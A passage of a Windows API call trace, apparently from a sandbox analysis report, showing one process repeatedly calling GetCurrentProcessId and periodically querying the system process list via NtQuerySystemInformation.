[0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.006] GetCurrentProcessId () returned 0x10c0 [0289.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e1b8) returned 0x0 [0289.513] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.514] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.515] GetCurrentProcessId () returned 0x10c0 [0289.523] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.524] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.525] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0289.526] GetCurrentProcessId () returned 0x10c0 [0290.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1e208) returned 0x0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.054] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.055] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.056] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.057] GetCurrentProcessId () returned 0x10c0 [0290.570] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dd28) returned 0x0 [0290.571] GetCurrentProcessId () returned 0x10c0 [0290.571] GetCurrentProcessId () returned 0x10c0 [0290.571] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.572] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.573] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.574] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0290.575] GetCurrentProcessId () returned 0x10c0 [0291.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dd28) returned 0x0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.108] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.109] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.110] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.111] GetCurrentProcessId () returned 0x10c0 [0291.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dd78) returned 0x0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.621] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.622] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.623] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId () returned 0x10c0 [0291.624] GetCurrentProcessId 